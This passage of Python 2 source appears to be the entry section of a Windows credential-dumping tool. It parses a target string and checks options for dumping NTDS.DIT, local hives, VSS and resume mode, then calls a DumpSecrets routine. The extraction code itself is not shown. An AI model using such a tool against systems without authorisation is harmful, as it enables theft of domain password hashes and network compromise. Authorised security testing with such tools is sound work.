2342 domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
2343 options.target).groups('')
2344
2345 #In case the password contains '@'
2346 if '@' in address:
2347 password = password + '@' + address.rpartition('@')[0]
2348 address = address.rpartition('@')[2]
2349
2350 if options.just_dc_user is not None:
2351 if options.use_vss is True:
2352 logging.error('-just-dc-user switch is not supported in VSS mode')
2353 sys.exit(1)
2354 elif options.resumefile is not None:
2355 logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
2356 sys.exit(1)
2357 elif address.upper() == 'LOCAL' and username == '':
2358 logging.error('-just-dc-user not compatible in LOCAL mode')
2359 sys.exit(1)
2360 else:
2361 # Having this switch on implies not asking for anything else.
2362 options.just_dc = True
2363
2364 if options.use_vss is True and options.resumefile is not None:
2365 logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
2366 sys.exit(1)
2367
2368 if address.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
2369 logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
2370 sys.exit(1)
2371
2372 if address.upper() == 'LOCAL' and username == '':
2373 if options.system is None:
2374 logging.error('SYSTEM hive is always required for local parsing, check help')
2375 sys.exit(1)
2376 else:
2377
2378 if domain is None:
2379 domain = ''
2380
2381 if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
2382 from getpass import getpass
2383
2384 password = getpass("Password:")
2385
2386 if options.aesKey is not None:
2387 options.k = True
2388
2389 dumper = DumpSecrets(address, username, password, domain, options)
2390 try:
2391 dumper.dump()
2392 except Exception, e:
2393 logging.error(e)